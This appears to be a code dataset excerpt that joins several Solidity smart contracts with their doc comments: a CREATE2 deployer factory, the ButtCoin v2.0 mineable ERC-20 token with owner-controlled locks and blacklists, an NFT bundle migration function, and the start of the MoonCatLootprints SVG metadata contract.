contracts with precomputed addresses, using create2 opcode * based on https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Create2.sol * DO NOT TOUCH */ // NOTE // fix proxy deployement // change deploy to do: create2, then call init // the salt needs to be the inital owner // pick you identicon by generating different initial owner keys contract Create2Factory { event ContractCreated(address addr, bytes32 salt); /** * @dev Deploys a contract using `CREATE2`. The address where the contract * will be deployed can be known in advance via {computeAddress}. * * The bytecode for a contract can be obtained from Solidity with * `type(contractName).creationCode`. * * Requirements: * * - `bytecode` must not be empty. * - `salt` must have not been used for `bytecode` already. */ function deploy(bytes32 salt, bytes memory bytecode) public payable returns (address) { address addr; uint256 amount = msg.value; require(bytecode.length != 0, "Create2: bytecode length is zero"); // solhint-disable-next-line no-inline-assembly assembly { addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt) } require(addr != address(0), "Create2: Failed on deploy"); emit ContractCreated(addr, salt); return addr; } /** * @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the * `bytecodeHash` or `salt` will result in a new destination address. */ function computeAddress(bytes32 salt, bytes32 bytecodeHash) public view returns (address) { return computeAddress(salt, bytecodeHash, address(this)); } /** * @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at * `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}. */ function computeAddress( bytes32 salt, bytes32 bytecodeHash, address deployer ) public pure returns (address) { bytes32 _data = keccak256( abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash) ); return address(uint160(uint256(_data))); } }
Returns the address where a contract will be stored if deployed via {deploy}. Any change in the `bytecodeHash` or `salt` will result in a new destination address./
function computeAddress(bytes32 salt, bytes32 bytecodeHash) public view returns (address) { return computeAddress(salt, bytecodeHash, address(this)); }
6,480,099
pragma solidity 0.5 .11; // 'ButtCoin' contract, version 2.0 // Website: http://www.0xbutt.com/ // // Symbol : 0xBUTT // Name : ButtCoin v2.0 // Total supply: 33,554,431.99999981 // Decimals : 8 // // ---------------------------------------------------------------------------- // ============================================================================ // Safe maths // ============================================================================ library SafeMath { function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns(uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b != 0, errorMessage); return a % b; } } // ============================================================================ // ERC Token Standard Interface // ============================================================================ contract ERC20Interface { function addToBlacklist(address addToBlacklist) public; function addToRootAccounts(address addToRoot) public; function addToWhitelist(address addToWhitelist) public; function allowance(address tokenOwner, address spender) public view returns(uint remaining); function approve(address spender, uint tokens) public returns(bool success); function approveAndCall(address spender, uint tokens, bytes memory data) public returns(bool success); function balanceOf(address tokenOwner) public view returns(uint balance); function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns(bool success); function confirmBlacklist(address confirmBlacklist) public returns(bool); function confirmWhitelist(address tokenAddress) public returns(bool); function currentSupply() public view returns(uint); function decreaseAllowance(address spender, uint256 subtractedValue) public returns(bool); function getChallengeNumber() public view returns(bytes32); function getMiningDifficulty() public view returns(uint); function getMiningReward() public view returns(uint); function getMiningTarget() public view returns(uint); function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns(bytes32); function getBlockAmount (address minerAddress) public returns(uint); function getBlockAmount (uint blockNumber) public returns(uint); function getBlockMiner(uint blockNumber) public returns(address); function increaseAllowance(address spender, uint256 addedValue) public returns(bool); function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success); function multiTransfer(address[] memory receivers, uint256[] memory amounts) public; function removeFromBlacklist(address removeFromBlacklist) public; function removeFromRootAccounts(address removeFromRoot) public; function removeFromWhitelist(address removeFromWhitelist) public; function rootTransfer(address from, address to, uint tokens) public returns(bool success); function setDifficulty(uint difficulty) public returns(bool success); function switchApproveAndCallLock() public; function switchApproveLock() public; function switchMintLock() public; function switchRootTransferLock() public; function switchTransferFromLock() public; function switchTransferLock() public; function totalSupply() public view returns(uint); function transfer(address to, uint tokens) public returns(bool success); function transferFrom(address from, address to, uint tokens) public returns(bool success); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); } // ============================================================================ // Contract function to receive approval and execute function in one call // ============================================================================ contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } // ============================================================================ // Owned contract // ============================================================================ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ============================================================================ // All booleans are false as a default. False means unlocked. // Secures main functions of the gretest importance. // ============================================================================ contract Locks is Owned { //false means unlocked, answering the question, "is it locked ?" //no need to track the gas usage for functions in this contract. bool internal constructorLock = false; //makes sure that constructor of the main is executed only once. bool public approveAndCallLock = false; //we can lock the approve and call function bool public approveLock = false; //we can lock the approve function. bool public mintLock = false; //we can lock the mint function, for emergency only. bool public rootTransferLock = false; //we can lock the rootTransfer fucntion in case there is an emergency situation. bool public transferFromLock = false; //we can lock the transferFrom function in case there is an emergency situation. bool public transferLock = false; //we can lock the transfer function in case there is an emergency situation. mapping(address => bool) internal blacklist; //in case there are accounts that need to be blocked, good for preventing attacks (can be useful against ransomware). mapping(address => bool) internal rootAccounts; //for whitelisting the accounts such as exchanges, etc. mapping(address => bool) internal whitelist; //for whitelisting the accounts such as exchanges, etc. mapping(uint => address) internal blockMiner; //for keeping a track of who mined which block. mapping(uint => uint) internal blockAmount; //for keeping a track of how much was mined per block mapping(address => uint) internal minedAmount; //for keeping a track how much each miner earned // ---------------------------------------------------------------------------- // Switch for an approveAndCall function // ---------------------------------------------------------------------------- function switchApproveAndCallLock() public { assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it approveAndCallLock = !approveAndCallLock; } // ---------------------------------------------------------------------------- // Switch for an approve function // ---------------------------------------------------------------------------- function switchApproveLock() public { assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it approveLock = !approveLock; } // ---------------------------------------------------------------------------- // Switch for a mint function // ---------------------------------------------------------------------------- function switchMintLock() public { assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it mintLock = !mintLock; } // ---------------------------------------------------------------------------- // Switch for a rootTransfer function // ---------------------------------------------------------------------------- function switchRootTransferLock() public { assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it rootTransferLock = !rootTransferLock; } // ---------------------------------------------------------------------------- // Switch for a transferFrom function // ---------------------------------------------------------------------------- function switchTransferFromLock() public { assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it transferFromLock = !transferFromLock; } // ---------------------------------------------------------------------------- // Switch for a transfer function // ---------------------------------------------------------------------------- function switchTransferLock() public { assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it transferLock = !transferLock; } // ---------------------------------------------------------------------------- // Adds account to root // ---------------------------------------------------------------------------- function addToRootAccounts(address addToRoot) public { require(!rootAccounts[addToRoot]); //we need to have something to add assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it rootAccounts[addToRoot] = true; blacklist[addToRoot] = false; } // ---------------------------------------------------------------------------- // Removes account from the root // ---------------------------------------------------------------------------- function removeFromRootAccounts(address removeFromRoot) public { require(rootAccounts[removeFromRoot]); //we need to have something to remove assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it rootAccounts[removeFromRoot] = false; } // ---------------------------------------------------------------------------- // Adds account from the whitelist // ---------------------------------------------------------------------------- function addToWhitelist(address addToWhitelist) public { require(!whitelist[addToWhitelist]); //we need to have something to add assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it whitelist[addToWhitelist] = true; blacklist[addToWhitelist] = false; } // ---------------------------------------------------------------------------- // Removes account from the whitelist // ---------------------------------------------------------------------------- function removeFromWhitelist(address removeFromWhitelist) public { require(whitelist[removeFromWhitelist]); //we need to have something to remove assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it whitelist[removeFromWhitelist] = false; } // ---------------------------------------------------------------------------- // Adds account to the blacklist // ---------------------------------------------------------------------------- function addToBlacklist(address addToBlacklist) public { require(!blacklist[addToBlacklist]); //we need to have something to add assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it blacklist[addToBlacklist] = true; rootAccounts[addToBlacklist] = false; whitelist[addToBlacklist] = false; } // ---------------------------------------------------------------------------- // Removes account from the blacklist // ---------------------------------------------------------------------------- function removeFromBlacklist(address removeFromBlacklist) public { require(blacklist[removeFromBlacklist]); //we need to have something to remove assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Only the contract owner OR root accounts can initiate it blacklist[removeFromBlacklist] = false; } // ---------------------------------------------------------------------------- // Tells whether the address is blacklisted. True if yes, False if no. // ---------------------------------------------------------------------------- function confirmBlacklist(address confirmBlacklist) public returns(bool) { require(blacklist[confirmBlacklist]); return blacklist[confirmBlacklist]; } // ---------------------------------------------------------------------------- // Tells whether the address is whitelisted. True if yes, False if no. // ---------------------------------------------------------------------------- function confirmWhitelist(address confirmWhitelist) public returns(bool) { require(whitelist[confirmWhitelist]); return whitelist[confirmWhitelist]; } // ---------------------------------------------------------------------------- // Tells whether the address is a root. True if yes, False if no. // ---------------------------------------------------------------------------- function confirmRoot(address tokenAddress) public returns(bool) { require(rootAccounts[tokenAddress]); assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); return rootAccounts[tokenAddress]; } // ---------------------------------------------------------------------------- // Tells who mined the block provided the blocknumber. // ---------------------------------------------------------------------------- function getBlockMiner(uint blockNumber) public returns(address) { return blockMiner[blockNumber]; } // ---------------------------------------------------------------------------- // Tells how much was mined per block provided the blocknumber. // ---------------------------------------------------------------------------- function getBlockAmount (uint blockNumber) public returns(uint) { return blockAmount[blockNumber]; } // ---------------------------------------------------------------------------- // Tells how much was mined by an address. // ---------------------------------------------------------------------------- function getBlockAmount (address minerAddress) public returns(uint) { return minedAmount[minerAddress]; } } // ============================================================================ // Decalres dynamic data used in a main // ============================================================================ contract Stats { //uint public _currentSupply; uint public blockCount; //number of 'blocks' mined uint public lastMiningOccured; uint public lastRewardAmount; uint public lastRewardEthBlockNumber; uint public latestDifficultyPeriodStarted; uint public miningTarget; uint public rewardEra; uint public tokensBurned; uint public tokensGenerated; uint public tokensMined; uint public totalGasSpent; bytes32 public challengeNumber; //generate a new one when a new reward is minted address public lastRewardTo; address public lastTransferTo; } // ============================================================================ // Decalres the constant variables used in a main // ============================================================================ contract Constants { string public name; string public symbol; uint8 public decimals; uint public _BLOCKS_PER_ERA = 20999999; uint public _MAXIMUM_TARGET = (2 ** 234); //smaller the number means a greater difficulty uint public _totalSupply; } // ============================================================================ // Decalres the maps used in a main // ============================================================================ contract Maps { mapping(address => mapping(address => uint)) allowed; mapping(address => uint) balances; mapping(bytes32 => bytes32) solutionForChallenge; } // ============================================================================ // MAIN // ============================================================================ contract Zero_x_butt_v2 is ERC20Interface, Locks, Stats, Constants, Maps { using SafeMath for uint; event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public onlyOwner { if (constructorLock) revert(); constructorLock = true; decimals = 8; name = "ButtCoin v2.0"; symbol = "0xBUTT"; _totalSupply = 3355443199999981; //33,554,431.99999981 blockCount = 0; challengeNumber = 0; lastMiningOccured = now; lastRewardAmount = 0; lastRewardTo = msg.sender; lastTransferTo = msg.sender; latestDifficultyPeriodStarted = block.number; miningTarget = (2 ** 234); rewardEra = 1; tokensBurned = 1; tokensGenerated = _totalSupply; //33,554,431.99999981 tokensMined = 0; totalGasSpent = 0; emit Transfer(address(0), owner, tokensGenerated); balances[owner] = tokensGenerated; _startNewMiningEpoch(); totalGasSpent = totalGasSpent.add(tx.gasprice); } //---------------------PUBLIC FUNCTIONS------------------------------------ // ------------------------------------------------------------------------ // Rewards the miners // ------------------------------------------------------------------------ function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success) { if(mintLock || blacklist[msg.sender]) revert(); //The function must be unlocked uint reward_amount = getMiningReward(); if (reward_amount == 0) revert(); if (tokensBurned >= (2 ** 226)) revert(); //the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks bytes32 digest = keccak256(abi.encodePacked(challengeNumber, msg.sender, nonce)); //the challenge digest must match the expected if (digest != challenge_digest) revert(); //the digest must be smaller than the target if (uint256(digest) > miningTarget) revert(); //only allow one reward for each challenge bytes32 solution = solutionForChallenge[challengeNumber]; solutionForChallenge[challengeNumber] = digest; if (solution != 0x0) revert(); //prevent the same answer from awarding twice lastRewardTo = msg.sender; lastRewardAmount = reward_amount; lastRewardEthBlockNumber = block.number; _startNewMiningEpoch(); emit Mint(msg.sender, reward_amount, blockCount, challengeNumber); balances[msg.sender] = balances[msg.sender].add(reward_amount); tokensMined = tokensMined.add(reward_amount); _totalSupply = _totalSupply.add(reward_amount); blockMiner[blockCount] = msg.sender; blockAmount[blockCount] = reward_amount; minedAmount[msg.sender] = minedAmount[msg.sender].add(reward_amount); lastMiningOccured = now; totalGasSpent = totalGasSpent.add(tx.gasprice); return true; } // ------------------------------------------------------------------------ // If we ever need to design a different mining algorithm... // ------------------------------------------------------------------------ function setDifficulty(uint difficulty) public returns(bool success) { assert(!blacklist[msg.sender]); assert(address(msg.sender) == address(owner) || rootAccounts[msg.sender]); //Must be an owner or a root account miningTarget = difficulty; totalGasSpent = totalGasSpent.add(tx.gasprice); return true; } // ------------------------------------------------------------------------ // Allows the multiple transfers // ------------------------------------------------------------------------ function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns(bool success) { assert(!transferLock); //The function must be unlocked assert(tokens <= balances[msg.sender]); //Amount of tokens exceeded the maximum assert(address(msg.sender) != address(0)); //you cannot mint by sending, it has to be done by mining. if (blacklist[msg.sender]) { //we do not process a transfer for the blacklisted accounts, instead we burn all of their tokens. emit Transfer(msg.sender, address(0), balances[msg.sender]); balances[address(0)] = balances[address(0)].add(balances[msg.sender]); tokensBurned = tokensBurned.add(balances[msg.sender]); _totalSupply = _totalSupply.sub(balances[msg.sender]); balances[msg.sender] = 0; } else { uint toBurn = tokens.div(100); //this is a 1% of the tokens amount uint toPrevious = toBurn; uint toSend = tokens.sub(toBurn.add(toPrevious)); emit Transfer(msg.sender, to, toSend); balances[msg.sender] = balances[msg.sender].sub(tokens); //takes care of burn and send to previous balances[to] = balances[to].add(toSend); if (address(msg.sender) != address(lastTransferTo)) { //there is no need to send the 1% to yourself emit Transfer(msg.sender, lastTransferTo, toPrevious); balances[lastTransferTo] = balances[lastTransferTo].add(toPrevious); } emit Transfer(msg.sender, address(0), toBurn); balances[address(0)] = balances[address(0)].add(toBurn); tokensBurned = tokensBurned.add(toBurn); _totalSupply = _totalSupply.sub(toBurn); lastTransferTo = msg.sender; } totalGasSpent = totalGasSpent.add(tx.gasprice); return true; } // ------------------------------------------------------------------------ // Transfer without burning // ------------------------------------------------------------------------ function rootTransfer(address from, address to, uint tokens) public returns(bool success) { assert(!rootTransferLock && (address(msg.sender) == address(owner) || rootAccounts[msg.sender])); balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); if (address(from) == address(0)) { tokensGenerated = tokensGenerated.add(tokens); } if (address(to) == address(0)) { tokensBurned = tokensBurned.add(tokens); } totalGasSpent = totalGasSpent.add(tx.gasprice); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns(bool success) { assert(!approveLock && !blacklist[msg.sender]); //Must be unlocked and not blacklisted assert(spender != address(0)); //Cannot approve for address(0) allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); totalGasSpent = totalGasSpent.add(tx.gasprice); return true; } // ------------------------------------------------------------------------ //Increases the allowance // ------------------------------------------------------------------------ function increaseAllowance(address spender, uint256 addedValue) public returns(bool) { assert(!approveLock && !blacklist[msg.sender]); //Must be unlocked and not blacklisted assert(spender != address(0)); //Cannot approve for address(0) allowed[msg.sender][spender] = (allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); totalGasSpent = totalGasSpent.add(tx.gasprice); return true; } // ------------------------------------------------------------------------ // Decreases the allowance // ------------------------------------------------------------------------ function decreaseAllowance(address spender, uint256 subtractedValue) public returns(bool) { assert(!approveLock && !blacklist[msg.sender]); //Must be unlocked and not blacklisted assert(spender != address(0)); //Cannot approve for address(0) allowed[msg.sender][spender] = (allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); totalGasSpent = totalGasSpent.add(tx.gasprice); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns(bool success) { assert(!transferFromLock); //Must be unlocked assert(tokens <= balances[from]); //Amount exceeded the maximum assert(tokens <= allowed[from][msg.sender]); //Amount exceeded the maximum assert(address(from) != address(0)); //you cannot mint by sending, it has to be done by mining. if (blacklist[from]) { //we do not process a transfer for the blacklisted accounts, instead we burn all of their tokens. emit Transfer(from, address(0), balances[from]); balances[address(0)] = balances[address(0)].add(balances[from]); tokensBurned = tokensBurned.add(balances[from]); _totalSupply = _totalSupply.sub(balances[from]); balances[from] = 0; } else { uint toBurn = tokens.div(100); //this is a 1% of the tokens amount uint toPrevious = toBurn; uint toSend = tokens.sub(toBurn.add(toPrevious)); emit Transfer(from, to, toSend); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(toSend); if (address(from) != address(lastTransferTo)) { //there is no need to send the 1% to yourself emit Transfer(from, lastTransferTo, toPrevious); balances[lastTransferTo] = balances[lastTransferTo].add(toPrevious); } emit Transfer(from, address(0), toBurn); balances[address(0)] = balances[address(0)].add(toBurn); tokensBurned = tokensBurned.add(toBurn); _totalSupply = _totalSupply.sub(toBurn); lastTransferTo = from; } totalGasSpent = totalGasSpent.add(tx.gasprice); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns(bool success) { assert(!approveAndCallLock && !blacklist[msg.sender]); //Must be unlocked, cannot be a blacklisted allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); totalGasSpent = totalGasSpent.add(tx.gasprice); return true; } //---------------------INTERNAL FUNCTIONS--------------------------------- // ---------------------------------------------------------------------------- // Readjusts the difficulty levels // ---------------------------------------------------------------------------- function reAdjustDifficulty() internal returns (bool){ //every time the mining occurs, we remove the number from a miningTarget //lets say we have 337 eras, which means 7076999663 blocks in total //This means that we are subtracting 3900944849764118909177207268874798844229425801045364020480003 each time we mine a block //If every block took 1 second, it would take 200 years to mine all tokens ! miningTarget = miningTarget.sub(3900944849764118909177207268874798844229425801045364020480003); latestDifficultyPeriodStarted = block.number; return true; } // ---------------------------------------------------------------------------- // A new block epoch to be mined // ---------------------------------------------------------------------------- function _startNewMiningEpoch() internal { blockCount = blockCount.add(1); if ((blockCount.mod(_BLOCKS_PER_ERA) == 0)) { rewardEra = rewardEra + 1; } reAdjustDifficulty(); //make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks //do this last since this is a protection mechanism in the mint() function challengeNumber = blockhash(block.number - 1); } //---------------------VIEW FUNCTIONS------------------------------------- // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns(uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns(uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Current supply // ------------------------------------------------------------------------ function currentSupply() public view returns(uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns(uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // This is a recent ethereum block hash, used to prevent pre-mining future blocks // ------------------------------------------------------------------------ function getChallengeNumber() public view returns(bytes32) { return challengeNumber; } // ------------------------------------------------------------------------ // The number of zeroes the digest of the PoW solution requires. Auto adjusts // ------------------------------------------------------------------------ function getMiningDifficulty() public view returns(uint) { return _MAXIMUM_TARGET.div(miningTarget); } // ------------------------------------------------------------------------ // Returns the mining target // ------------------------------------------------------------------------ function getMiningTarget() public view returns(uint) { return miningTarget; } // ------------------------------------------------------------------------ // Gets the mining reward // ------------------------------------------------------------------------ function getMiningReward() public view returns(uint) { if (tokensBurned >= (2 ** 226)) return 0; //we have burned too many tokens, we can't keep a track of it anymore! if(tokensBurned<=tokensMined) return 0; //this cannot happen uint reward_amount = (tokensBurned.sub(tokensMined)).div(50); //2% of all tokens that were ever burned minus the tokens that were ever mined. return reward_amount; } //---------------------EXTERNAL FUNCTIONS---------------------------------- // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () external payable { revert(); } //---------------------OTHER----------------------------------------------- // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns(bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ //help debug mining software // ------------------------------------------------------------------------ function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns(bytes32 digesttest) { bytes32 digest = keccak256(abi.encodePacked(challenge_number, msg.sender, nonce)); return digest; } // ------------------------------------------------------------------------ //help debug mining software // ------------------------------------------------------------------------ function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns(bool success) { bytes32 digest = keccak256(abi.encodePacked(challenge_number, msg.sender, nonce)); if (uint256(digest) > testTarget) revert(); return (digest == challenge_digest); } }
------------------------------------------------------------------------help debug mining software ------------------------------------------------------------------------
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns(bytes32 digesttest) { bytes32 digest = keccak256(abi.encodePacked(challenge_number, msg.sender, nonce)); return digest; }
14,015,887
./partial_match/1/0xa2Cb0dE6006Eff2B5b20719152231Bcd651BeC2f/sources/contracts/MigrateBundle.sol
Migrates a bundle between 2 ImmutableBundle contracts, this contract needs to have approval for the bundle token first _oldImmutableContract address of the old ImmutableBundle contract _newImmutableContract address of the new ImmutableBundle contract _oldImmutableId the id of the immutable bundle to be migrated/ immutable has to be transferred to this contract for the migration (approval needed first) withdrawing old Immutable to this address, meaning we get a regular bundle in the old NftfiBundler migrating from old NftfiBundler to new burn old bundle sending the new NftfiBundler to the new Immutable to wrap sending new immutable to user
function migrateImmutable( address _oldImmutableContract, address _newImmutableContract, uint256 _oldImmutableId ) external returns (uint256) { IERC721(_oldImmutableContract).transferFrom(msg.sender, address(this), _oldImmutableId); address oldBundleContract = address(ImmutableBundle(_oldImmutableContract).bundler()); address newBundleContract = address(ImmutableBundle(_newImmutableContract).bundler()); uint256 oldBundleId = ImmutableBundle(_oldImmutableContract).bundleOfImmutable(_oldImmutableId); ImmutableBundle(_oldImmutableContract).withdraw(_oldImmutableId, address(this)); uint256 newBundleId = _migrateBundle(oldBundleContract, newBundleContract, oldBundleId, address(this)); _burnBundle(oldBundleContract, oldBundleId); IERC721(newBundleContract).safeTransferFrom(address(this), _newImmutableContract, newBundleId); uint256 newImmutabelId = ImmutableBundle(_newImmutableContract).tokenCount(); IERC721(_newImmutableContract).safeTransferFrom(address(this), msg.sender, newImmutabelId); emit ImmutableMigrated(newImmutabelId); return ImmutableBundle(_newImmutableContract).tokenCount(); }
2,829,849
// SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.8.1; /** * @dev On-chain art generation for MoonCatLootprints * Takes individual trait values as parameters, and outputs complete representations of them. */ contract MoonCatLootprintsMetadata { string[5] internal class_names = [ "Mech", "Sub", "Tank", "Cruiser", "Unknown" ]; /** * @dev Convert a Classification ID number into a string name */ function getClassName(uint8 classId) public view returns (string memory) { return class_names[classId]; } string[15] internal color_names = ["Hero Silver", "Genesis White", "Genesis Black", "Red", "Orange", "Yellow", "Chartreuse", "Green", "Teal", "Cyan", "SkyBlue", "Blue", "Purple", "Magenta", "Fuchsia"]; /** * @dev Convert a Color ID number into a string name */ function getColorName(uint8 colorId) public view returns (string memory) { return color_names[colorId]; } // Color codes used for the background color of an image representation string[15] internal color_codes = ["#777777", // Silver "#cccccc", // White "#111111", // Black "hsl(0,60%,38%)", // Red "hsl(30,60%,38%)", // Orange "hsl(60,60%,38%)", // Yellow "hsl(80,60%,38%)", // Chartreuse "hsl(120,60%,38%)", // Green "hsl(150,60%,38%)", // Teal "hsl(180,60%,38%)", // Cyan "hsl(210,60%,38%)", // SkyBlue "hsl(240,60%,38%)", // Blue "hsl(270,60%,38%)", // Purple "hsl(300,60%,38%)", // Magenta "hsl(330,60%,38%)"]; // Fuchsia // SVG codes for the different icons for each ship classification string[4] public ship_images = ["<path class=\"s\" d=\"M-61.74,77.79h-12.61V32.32h12.61V77.79z M-28.03,26.64l-7.58-12.63v44.12h7.58V26.64z M-0.65,52.52h10.99 L41.41,1.36L24.74-12.66H-0.65h-25.39L-42.72,1.36l31.07,51.16H-0.65z M60.43,77.79h12.61V32.32H60.43V77.79z M26.73,58.14h7.58 V14.02l-7.58,12.63V58.14z\"/><path class=\"s\" d=\"M-23.89,32.56v4.77h-44.15V8.75h29.81 M-58.76,13.76h-18.55v18.55h18.55V13.76z M22.59,32.56v4.77h44.15V8.75 H36.92 M57.46,32.32h18.55V13.76H57.46V32.32z M5.79,46.98L5.79,46.98c0-1.07-0.87-1.94-1.94-1.94h-9c-1.07,0-1.94,0.87-1.94,1.94 v0c0,1.07,0.87,1.94,1.94,1.94h9C4.92,48.93,5.79,48.06,5.79,46.98z\"/><path class=\"s s1\" d=\"M-79.92,94.43V86.1 M-56.04,94.43V86.1 M78.61,94.43V86.1 M54.74,94.43V86.1 M-14.48,5.33h28.04 M-9.45,1.1 H8.52\"/><path class=\"s s1\" d=\"M-44.11,94.43h-47.87V82.76c0-2.76,2.24-5,5-5h37.87c2.76,0,5,2.24,5,5V94.43z M-19.88,57.67v-6.18 c0-1.64-1.33-2.97-2.97-2.97h-9.15v12.13h9.15C-21.22,60.65-19.88,59.32-19.88,57.67z M42.8,94.43h47.87V82.76c0-2.76-2.24-5-5-5 H47.8c-2.76,0-5,2.24-5,5V94.43z M-0.65,31.11h14.08L33.42,3.86L25.39,2.2l-8.96,8.83H-0.65h-17.08l-8.96-8.83l-8.04,1.66 l19.99,27.25H-0.65z M21.55,60.65h9.15V48.52h-9.15c-1.64,0-2.97,1.33-2.97,2.97v6.18C18.58,59.32,19.91,60.65,21.55,60.65z\"/><path class=\"s s1\" d=\"M-26.04-12.66l-11.17,9.4v-27.46h7.51l16.17,18.06H-26.04z M24.74-12.66l11.17,9.4v-27.46H28.4L12.23-12.66 H24.74z\"/><path class=\"s s2\" d=\"M-19.88,52.86h-3.79 M-19.88,56.46h-3.79 M22.37,52.86h-3.79 M18.58,56.46h3.79\"/> <path class=\"s s2\" d=\"M-39.67,8.41l-1.58,33.83h-11.47l-1.58-33.83c0-4.04,3.28-7.32,7.32-7.32C-42.95,1.1-39.67,4.37-39.67,8.41z M-43.38,42.24h-6.9l-1.01,4.74h8.91L-43.38,42.24z M38.37,8.41l1.58,33.83h11.47L53,8.41c0-4.04-3.28-7.32-7.32-7.32 C41.64,1.1,38.37,4.37,38.37,8.41z M41.06,46.98h8.91l-1.01-4.74h-6.9L41.06,46.98z\"/>", // Mech "<path class=\"s\" d=\"M55.52,60.62l-125.85,7.15c-13.35,0.76-24.59-9.86-24.59-23.23v0c0-13.37,11.24-23.99,24.59-23.23l125.85,7.15 V60.62z\"/><path class=\"s\" d=\"M48.39,42.2v10.28l-5.47-1.16v-7.96L48.39,42.2z 